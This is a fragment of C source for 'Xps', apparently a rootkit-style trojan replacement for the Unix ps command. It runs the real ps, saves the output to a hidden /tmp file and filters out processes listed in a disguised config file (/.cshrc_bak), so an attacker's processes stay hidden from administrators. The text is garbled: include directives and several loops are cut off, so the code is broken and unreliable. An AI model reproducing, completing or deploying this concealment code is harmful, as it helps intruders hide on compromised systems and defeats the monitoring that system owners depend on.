/*======================================================= Xps Programmed by UNYUN ======================================================= */ #include #include #define CONFIG_FILE "/.cshrc_bak" #define TMPFILE "/tmp/.tmp" #define PROCN_LEN 30 #define PROC_LIST 50 int fgetline(fp,buf,maxline) FILE *fp; char *buf; int maxline; { int i; char c; for (i=0;i=2){ for (i=1;i "); strcat(buf,TMPFILE); system(buf); newpid=-1; if ((fp=fopen(TMPFILE,"rb"))!=NULL){ for (;;){ if (feof(fp)) break; fgetline(fp,buf,1999); if (strlen(buf)==0) continue; if (contain(buf,"sh")!=0) continue; pd=getpid(buf); if (pd>newpid) newpid=pd; } fclose(fp); } for (i=strlen(OriginalPS)-1;i>=0;i--) if (OriginalPS[i]=='/') break; i++; strcpy(OriginalPS_Name,OriginalPS+i); if ((fp=fopen(TMPFILE,"rb"))!=NULL){ for (;;){ if (feof(fp)) break; if (fgetline(fp,buf,1999)==-1) break; if (strlen(buf)==0) continue; if (contain(buf,OriginalPS_Name)==0) continue; if (contain(buf,argv[0])==0 && owndisp==0) continue; for (f=0,j=0;j